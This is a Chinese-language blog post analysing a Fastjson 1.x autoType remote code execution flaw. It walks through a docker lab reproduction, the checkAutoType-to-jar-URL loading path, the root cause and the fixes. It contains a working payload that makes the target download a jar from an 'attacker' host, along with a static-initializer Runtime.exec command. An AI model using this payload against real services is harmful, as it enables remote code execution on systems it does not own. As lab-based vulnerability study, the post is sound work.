【Java组件漏洞分析】Fastjson1.x任意代码执行漏洞

发布时间:2026/7/23 19:32:19
【Java组件漏洞分析】Fastjson1.x任意代码执行漏洞 最近 Fastjson 1.x 的 0day 很火呀博主所在的公司也对其做了应急响应那么本篇文章就详细分析一下 Fastjson 1.x 这个漏洞的原理和利用方式吧 简单介绍关于本漏洞的简单说明阿里云漏洞通告https://www.aliyun.com/notice/118472已经写的很清楚了简单说就是在 Fastjson 1.x 未开启 SafeMode 的情况下默认配置即不开启如果攻击者能够控制传递给 Fastjson 的 JSON 数据就可以利用 Fastjson 自身内部的反序列化逻辑构造恶意载荷。这个漏洞的关键是无需目标环境存在特定 gadget 类像平时哪些反序列化漏洞还需要你费劲滴搞链子而这个就完全不需要。漏洞复现这里使用一下这个博主的项目 git clone 后在本地执行一下 make up 操作即可启动靶机。前提是启动靶机机器需要安装 dockergitclone https://gitee.com/liuwanqing520/fastjson-jsontype-rce-lab.gitcdfastjson-jsontype-rce-labmakeup启动后访问127.0.0.1:8080可看到如下靶机界面。在 json 中输入如下 payload点击 发送{type:jar:http:..attacker:8000.probe!.POC,x:1}在控制台执行dockercomposeexec-Ttargetsh-ccat /tmp/PWNED输出如下说明利用成功原理介绍1. 让 fastjson 处理type靶机入口是JSON.parseObject(body,Dto.class)虽然这里绑定了Dto.class而且没有开启 autoType但 fastjson 看到 JSON 里有type:...还是会进入ParserConfig.checkAutoType()做类型检查。2. 把字符串变成 jar URLpayload 里的类型名jar:http:..attacker:8000.probe!.POCfastjson 内部会做typeName.replace(.,/).class于是它变成jar:http://attacker:8000/probe!/POC.class含义是从 http://attacker:8000/probe 下载一个 jar 然后读取 jar 里面的 POC.class其中..变成//.probe变成/probe!.POC变成!/POC.class!是 Java jar URL 的分隔符表示“jar 文件内部的路径”3. target 主动访问 attacker因为靶机使用了 Spring Boot 的LaunchedURLClassLoader它会解析这种jar:http://...资源。所以 target 容器主动请求 attacker 容器http://attacker:8000/probeattacker 返回一个提前生成好的 jar。4. jar 里的POC.class带有JSONType注解攻击端生成的 class 不是普通 class它有 fastjson 的JSONTypefastjson 在探测这个 class 时发现它带JSONType于是认为这个类型可以继续加载。这就是这条链能在autoType 关闭的情况下继续走下去的关键。5. 加载 class 时执行 static initializerJava 类第一次被加载/定义时会执行静态初始化块也就是类似static{Runtime.getRuntime().exec(id /tmp/PWNED 21; echo RCE_via_fastjson_JSONType /tmp/PWNED);}id/tmp/PWNED21;echoRCE_via_fastjson_JSONType/tmp/PWNED最终导致我们上面看到如上输出。6. 总结用户可控 JSON - fastjson 处理 type - checkAutoType 把类型名转成 jar URL resource - LaunchedURLClassLoader 远程拉取 attacker jar - 发现 JSONType 后加载 class - class 静态初始化块在 target 容器内执行命令 - 命令输出写入 /tmp/PWNED修复修改 checkAutoType 配置升级 fastjson 到 2.x 版本waf 拦截思考自从开始学习网安以来我就对一些漏洞感觉很奇怪你就不能理解这种东西是咋设计出来的就比如 Fastjson1.x 为啥要整个 type 然后接一个 AutoType 导致随意加载外部类。了解了其设计意图之后大概是这样的我们都知道 Java 中有个多态的概念以如下的例子为例interfaceAnimal{}classDogimplementsAnimal{...}classCatimplementsAnimal{...}classPetStore{privateAnimalanimal;// 字段类型是接口}那么这种情况下如果不记录类的类型下面的 json 反序列化为对象时Fastjson 只知道 animal 是 Animal 接口根本不知道它原本是 Dog 还是 Cat只能返回一个接口类型的对象后续强转会直接失败。{animal:{name:旺财}}而 Type 的方案是在反序列化的 json 中声明是是哪个类。这样反序列化时就能精确还原出 Dog 实例。这就是 type 存在的正当业务需求——它是 Fastjson 的动态多态还原方案。{type:com.example.PetStore,animal:{type:com.example.Dog,name:旺财}}而在 checkAutoType 方法存在一个安全缺陷checkAutoType 会把 type 的值比如 com.example.Foo转换成类资源路 com/example/Foo.class然后调用 ClassLoader.getResourceAsStream(resource) 去检查这个类是否存在于 classpath 中——这一步本身是为了做安全检查。这段代码没有对 resource 的协议做任何限制。在某些 ClassLoader 环境如 Spring Boot FatJar 的 LaunchedURLClassLoader中getResourceAsStream 能解析绝对 URL。攻击者把 type 构造为类似 http:…localhost:18081.a经过 .replace(‘.’, ‘/’) 处理后就变成了 http://localhost:18081/a.class——从本地 classpath 查询翻转成了远程 HTTP 资源加载。Fastjson 用 ASM 解析从远程 URL 下载来的字节码只要其中包含 JSONType 注解就认为它是合法的可反序列化类随后调用 TypeUtils.loadClass 加载并初始化它触发 静态代码块执行完成 RCE。根本原因在于只要保留根据字符串动态加载类这个能力攻击面就很难彻底消除。